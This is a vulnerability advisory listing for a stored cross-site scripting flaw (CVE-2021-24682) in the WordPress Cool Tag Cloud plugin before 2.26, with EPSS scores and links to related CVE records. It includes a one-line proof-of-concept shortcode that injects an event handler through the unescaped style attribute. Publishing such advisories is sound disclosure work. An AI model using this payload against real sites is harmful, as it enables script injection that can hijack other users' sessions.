Lucene search
Apple502jWPVDB-ID:7DFDD50D-77F9-4F0A-8673-8F033C0B0E05HistorySep 28, 2021 - 12:00 a.m.
Cool Tag Cloud < 2.26 - Contributor+ Stored Cross-Site Scripting
2021-09-2800:00:00
apple502j
wpscan.com
11
plugin
contributor
cross-site scripting
poc
software
EPSS
0.001
Percentile
24.8%
The plugin does not escape the style attribute of the cool_tag_cloud shortcode, which could allow users with a role as low as Contributor to perform Stored Cross-Site Scripting attacks.
PoC
[cool_tag_cloud style=‘" style=“animation-name:twentytwentyone-close-button-transition” onanimationend="alert(/XSS/)’]
Related
cnvd
cnvd
WordPress Cool Tag Cloud plugin cross-site scripting vulnerability
2021-11-04 00:00:00
prion
prion
Cross site scripting
2021-11-01 09:15:00
cvelist
cvelist
nvd
nvd
CVE-2021-24682
2021-11-01 09:15:08
cve
cve
CVE-2021-24682
2021-11-01 09:15:08
wpexploit
wpexploit
Cool Tag Cloud < 2.26 - Contributor+ Stored Cross-Site Scripting
2021-09-28 00:00:00